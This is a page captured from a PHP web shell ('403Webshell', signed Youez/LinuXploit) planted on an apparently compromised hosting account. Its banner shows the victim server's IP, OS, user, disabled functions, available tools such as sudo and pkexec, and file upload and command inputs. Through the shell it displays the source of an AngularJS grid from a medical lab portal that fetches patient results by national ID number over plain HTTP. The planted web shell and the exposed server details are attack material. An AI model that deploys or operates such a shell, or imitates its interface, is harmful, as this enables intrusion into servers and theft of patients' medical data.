403Webshell
Server IP : 31.14.161.123  /  Your IP : 216.73.217.61
Web Server : Apache
System : Linux cpanel.classit.ro 4.18.0-553.144.1.el8_10.x86_64 #1 SMP Tue Jul 14 09:26:58 EDT 2026 x86_64
User : diamedic ( 1014)
PHP Version : 8.2.32
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/diamedic/public_html/gestiune-analize/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/diamedic/public_html/gestiune-analize/diaMedicalPortGrid.component.js

(function (angular) {
    'use strict';

    angular
        .module('diaMedicalPort')
        .component('diaMedicalPortGrid', {
            templateUrl: '/gestiune-analize/diaMedicalPortGrid.tpl.html',
            bindings: {},
            controller: DiaMedicalPortGridCtrl
        });


    DiaMedicalPortGridCtrl.$inject = ['$injector'];
    function DiaMedicalPortGridCtrl($injector) {
        var $ctrl = this;
        var currentDate = new Date();

        $ctrl.agGridApi = undefined;
        $ctrl.gridOptions = undefined;
        $ctrl.openFactorList = undefined;
        $ctrl.availablePatientList = undefined;
        $ctrl.availableFactorObject = undefined;
        $ctrl.availableFactorList = undefined;
        $ctrl.patientListWithStats = undefined;

        $ctrl.loadingPromiseList = [];

        $ctrl.dateSelectorOpened = undefined;
        $ctrl.selectedMonth = currentDate.getMonth();
        $ctrl.selectedYear = currentDate.getFullYear();
        $ctrl.selectedDate = new Date($ctrl.selectedYear, $ctrl.selectedMonth, 15);

        $ctrl.dateOptions = {
            formatYear: "yy",
            startingDay: 1,
            datepickerMode: "month",
            minMode: "month"
        };


        $ctrl.monthLabels = {
            1: "Ian",
            2: "Feb",
            3: "Mar",
            4: "Apr",
            5: "Mai",
            6: "Iun",
            7: "Iul",
            8: "Aug",
            9: "Sep",
            10: "Oct",
            11: "Noi",
            12: "Dec"
        };

        $ctrl.factorList = ['28'];

        $ctrl.$injector = $injector;
    }


    DiaMedicalPortGridCtrl.prototype.$onInit = $onInit;

    DiaMedicalPortGridCtrl.prototype.loadPatienList = loadPatienList;
    DiaMedicalPortGridCtrl.prototype.loadFactorList = loadFactorList;
    DiaMedicalPortGridCtrl.prototype.loadPatientListWithEntityStats = loadPatientListWithEntityStats;

    DiaMedicalPortGridCtrl.prototype.onSelectedDateChange = onSelectedDateChange;
    DiaMedicalPortGridCtrl.prototype.generateColumnDefFromFactor = generateColumnDefFromFactor;
    DiaMedicalPortGridCtrl.prototype.addNewColumn = addNewColumn;
    DiaMedicalPortGridCtrl.prototype.toggleLoading = toggleLoading;


    ///////////////////////////////////////////
    ///////////// Public methods //////////////
    ///////////////////////////////////////////
    function $onInit() {
        /*jshint validthis:true */
        var $ctrl = this;
        var $q = $ctrl.$injector.get('$q', 'DiaMedicalPortGridCtrl');
        var $http = $ctrl.$injector.get('$http', 'DiaMedicalPortGridCtrl');

        $ctrl.columnDefs = [{
            headerName: 'Nume',
            field: 'nume',
            lockPosition: true,
            pinned: 'left',
            cellRenderer: 'agGroupCellRenderer',
            filter: 'agTextColumnFilter',
            menuTabs: ['filterMenuTab'],
            suppressMenuHide: true
        }];

        $ctrl.detailsColumnDefs = [{
            headerName: 'Luna / An',
            field: 'nume',
            lockPosition: true,
            pinned: 'left',
            filter: false
        }];

        $ctrl.gridOptions = {
            //  defaultColDef: {editable: true},
            columnDefs: $ctrl.columnDefs,
            masterDetail: true,
            rowData: undefined,
            headerHeight: 40,
            editType: 'fullRow',
            alignedGrids: [],
            suppressContextMenu: true,
            defaultColDef: {
                sortable: true,
                menuTabs: false,
                filter: false
            },
            detailCellRendererParams: {
                detailGridOptions: {
                    suppressContextMenu: true,
                    defaultColDef: {
                        sortable: false,
                        filter: false,
                        menuTabs: false,
                        suppressMultiSort: true
                    },
                    columnDefs: $ctrl.detailsColumnDefs,
                    alignedGrids: [],
                    onGridReady: function (a) {
                        console.log(a);
                    }
                },
                getDetailRowData: function (params) {
                    var childrenData = _.get(params, 'data.children');
                    var promises = [];

                    if (childrenData && childrenData.length) {
                        return params.successCallback(childrenData);
                    }



                    _.forEach($ctrl.factorList, _defferPromises);


                    return $q.all(promises)
                        .then(_updateChildrenData);


                    function _defferPromises(factorId) {
                        var deferred = $q.defer();

                        $http.get('http://diamedicalport.ro/analize/api/istoric_factor.php',
                            {
                                params: {
                                    factor: factorId,
                                    cnp: _.get(params, 'data.cnp')
                                },
                                withCredentials: true
                            })
                            .then(function (res) {
                                var factorKey = 'factor' + factorId;
                                console.log(res);
                                deferred.resolve(_.set({}, factorKey, res.data));
                            })
                            .catch(function (err) {
                                deferred.reject(err);
                            });

                        promises.push(deferred.promise);
                    }

                    function _updateChildrenData(allData) {
                        var generateChildren = [];
                        _.forEach(allData, _generateHistory);

                        function _generateHistory(factorData, key) {
                            _.forEach(factorData, _updateFactorHistory);


                        }

                        function _updateFactorHistory(factorData, factorKey) {
                            _.forEach(factorData, _formatHistory);


                            function _formatHistory(factorRowData, key) {
                                var _historyKey = _.get($ctrl.monthLabels, factorRowData.luna) + ' - ' + factorRowData.an;
                                var factorChildrenHistory = _.find(generateChildren, {nume: _historyKey});

                                if (!factorChildrenHistory) {
                                    factorChildrenHistory = {
                                        nume: _historyKey,
                                        cnp: params.data.cnp,
                                        luna: factorRowData.luna,
                                        an: factorRowData.an
                                    };

                                    _.set(factorChildrenHistory, factorKey, factorRowData);
                                    generateChildren.push(factorChildrenHistory);

                                    return;
                                }
                                _.set(factorChildrenHistory, factorKey, factorRowData);
                            }
                        }
                        _.set(params, 'data.children', childrenData);
                        return params.successCallback(generateChildren);
                    }
                }
            },
            getMainMenuItems: function (a, b) {
           //     console.log(a, b);
            },
            // stopEditingWhenGridLosesFocus: true,

            onCellValueChanged: function (event) {
                if(event.newValue === event.oldValue){
                   return;
                }

                $ctrl.toggleLoading(true);
                var factorKey = 'factor' + event.colDef.factorId;
                var objectToSave = {
                    an: $ctrl.selectedYear,
                    cnp: event.data.cnp,
                    factor: event.colDef.factorId,
                    id: _.get(event, ['data', factorKey, 'id']),
                    luna: $ctrl.selectedMonth + 1,
                    name: event.colDef.headerName,
                    val: event.newValue || undefined
                };
                return $http
                    .post('http://diamedicalport.ro/analize/api/salvare.php', objectToSave)
                    .then(_resetLoadingState);


                function _resetLoadingState(newID){
                   _.set(event, ['data', factorKey, 'id'], newID.data);
                    $ctrl.toggleLoading(false);
                }
                //http://diamedicalport.ro/analize/api/salvare.php
            },
            // onRowValueChanged: function (event) {
            //     console.log('onRowValueChanged: ');
            //     console.log(event.data);
            // },


            onGridReady: function (params) {
                //console.log(params);
                $ctrl.agGridApi = params.api;
             //   console.log(params);
                $ctrl.loadPatientListWithEntityStats();
            }
        };

        $ctrl.loadFactorList();
        $ctrl.loadPatienList();
    }

    function generateColumnDefFromFactor(factorId) {
        /*jshint validthis:true */
        var $ctrl = this;
        var $http = $ctrl.$injector.get('$http', 'DiaMedicalPortGridCtrl');
        var $filter = $ctrl.$injector.get('$filter', 'DiaMedicalPortGridCtrl');
        var factorKey = 'factor' + factorId;
        var _columnDefLoadingPromise;

        _columnDefLoadingPromise = $http
            .get('http://diamedicalport.ro/analize/api/rezultate_analiza.php',
                {
                    params: {
                        factor: factorId,
                        luna: $ctrl.selectedMonth + 1,
                        an: $ctrl.selectedYear
                    },
                    withCredentials: true
                }
            )
            .then(function (patientList) {
                return patientList.data;
            })
            .then(_addStatsInPatientList)
            .then(_addColumnDef);


        _.concat($ctrl.loadingPromiseList, _columnDefLoadingPromise);


        function _addStatsInPatientList(factorResults) {
            _.map($ctrl.gridOptions.rowData, _mapFactorsToPatient);
            $ctrl.agGridApi.refreshCells();

            return factorResults;


            function _mapFactorsToPatient(patientData) {
                var _patientFactor = _.chain(factorResults)
                    .find({u_cnp: patientData.cnp})
                    .set('factorId', factorId)
                    .value();

//                _.set(patientData, 'children', _.cloneDeep($ctrl.gridOptions.rowData));
                _.set(patientData, factorKey, _patientFactor);
                return patientData;
            }
        }

        function _addColumnDef(factorResults) {
            var newColumnDef;
            var _valueGetter = 'data.' + factorKey + '.value';
            var _headerName = _.get($ctrl.availableFactorObject, factorId);
            var _isEditable = !!_.get(_headerName, 'editable');
            _headerName = _.get(_headerName, 'nume') || _.get(_headerName, 'cautare');

            if (_.chain($ctrl.agGridApi).get('columnController.columnDefs').find({factorId: factorId}).value()) {
                return;
            }

            newColumnDef = {
                headerName: _headerName,
                editable: _isEditable,
                factorId: factorId,
                valueGetter: function (params) {
                    var _parsedValue = _.chain(params)
                        .get(_valueGetter, undefined);

                    if (!_isEditable) {
                        _parsedValue = _parsedValue.round(2)
                            .defaultTo(undefined)
                            .value();

                        return _parsedValue && _parsedValue.toFixed(2);
                    } else {
                        return _parsedValue.value();
                    }
                },
                valueSetter: function (params) {
                    return _.set(params, _valueGetter, params.newValue);
                },
                cellClass: function(params) {
                    var cellValue = _.toNumber(_.get(params, 'value'));
                    var factorID = _.get(params, ['colDef', 'factorId']);
                    var factorProps = _.find($ctrl.availableFactorList, {id: factorID});
                    var minValue = _.toNumber(factorProps.min);
                    var maxValue = _.toNumber(factorProps.max);

                    if(!cellValue){
                        return;
                    }

                    if(factorProps.max && _.gt(cellValue, maxValue)) {
                        return 'value-high';
                    }

                    if(factorProps.min && _.lt(cellValue, minValue)) {
                        return 'value-low';
                    }

                    return;
                }
            };

            $ctrl.gridOptions.columnDefs = _.concat($ctrl.gridOptions.columnDefs, newColumnDef);
            var newDetailColumnDef = _.cloneDeep(newColumnDef);
            newDetailColumnDef.editable = false;

            $ctrl.gridOptions.detailCellRendererParams.detailGridOptions.columnDefs = _.concat($ctrl.gridOptions.detailCellRendererParams.detailGridOptions.columnDefs, newDetailColumnDef);

            $ctrl.agGridApi.setColumnDefs($ctrl.gridOptions.columnDefs);
        }
    }

    /**
     * @description
     */
    function loadPatienList() {
        /*jshint validthis:true */
        var $ctrl = this;
        var $http = $ctrl.$injector.get('$http', 'DiaMedicalPortGridCtrl');

        return $http
            .get('http://diamedicalport.ro/analize/api/lista_pacienti.php',
                {params: {}}
            )
            .then(function (patientList) {
                return patientList.data;
            })
            .then(_setGridRowData);


        function _setGridRowData(patientList) {
            $ctrl.availablePatientList = patientList;
            $ctrl.patientListWithStats = patientList;
            $ctrl.gridOptions.rowData = patientList;
        }
    }

    /**
     * @description
     */
    function loadFactorList() {
        /*jshint validthis:true */
        var $ctrl = this;
        var $http = $ctrl.$injector.get('$http', 'DiaMedicalPortGridCtrl');

        return $http
            .get('http://diamedicalport.ro/analize/api/toti_factorii.php',
                {params: {}}
            )
            .then(function (factorList) {
                return factorList.data;
            })
            .then(_updateFactorList);


        function _updateFactorList(factorList) {
            $ctrl.availableFactorObject = factorList;
            $ctrl.availableFactorList = _.chain(factorList).values().orderBy('cautare').value();
        }
    }

    /**
     * @description
     * Updates $ctrl.inventoryForecastRequest with the new request
     */
    function loadPatientListWithEntityStats() {
        /*jshint validthis:true */
        var $ctrl = this;
        _.forEach($ctrl.factorList, $ctrl.generateColumnDefFromFactor.bind($ctrl));
    }


    /**
     * @description
     */
    function onSelectedDateChange(selectedDate) {
        /*jshint validthis:true */
        var $ctrl = this;

        $ctrl.selectedMonth = selectedDate.getMonth();
        $ctrl.selectedYear = selectedDate.getFullYear();

        $ctrl.agGridApi.forEachNode(function(a){a.setExpanded(false);});


        _.map($ctrl.gridOptions.rowData, _removeChildrenData);
        $ctrl.loadPatientListWithEntityStats();

        function _removeChildrenData(rowData) {
            _.unset(rowData, 'children');
        }
    }


    /**
     * @description
     */
    function addNewColumn(columnDetails) {
        /*jshint validthis:true */
        var $ctrl = this;
        var currentColumnDef = _.get($ctrl.agGridApi, 'columnController.columnDefs');
        var factorId = columnDetails.id;


        $ctrl.agGridApi.forEachNode(function(a){a.setExpanded(false);});
        _.map($ctrl.gridOptions.rowData, _removeChildrenData);
        function _removeChildrenData(rowData) {
            _.unset(rowData, 'children');
        }

        //   $ctrl.openFactorList = false;
        if (_.includes($ctrl.factorList, factorId)) {
            _.pull($ctrl.factorList, factorId);
            _.remove(currentColumnDef, {factorId: factorId});
            _.remove($ctrl.gridOptions.detailCellRendererParams.detailGridOptions.columnDefs, {factorId: factorId});

            $ctrl.agGridApi.setColumnDefs($ctrl.gridOptions.columnDefs);
            return;
        }


        $ctrl.factorList.push(factorId);
        $ctrl.generateColumnDefFromFactor(factorId);
    }


    /**
     * @description
     */
    function toggleLoading(enableLoading) {
        /*jshint validthis:true */
        var $ctrl = this;

        if(enableLoading){
            return $ctrl.agGridApi.showLoadingOverlay();
        }

        return $ctrl.agGridApi.hideOverlay();
    }

}(window.angular));

Youez - 2016 - github.com/yon3zu
LinuXploit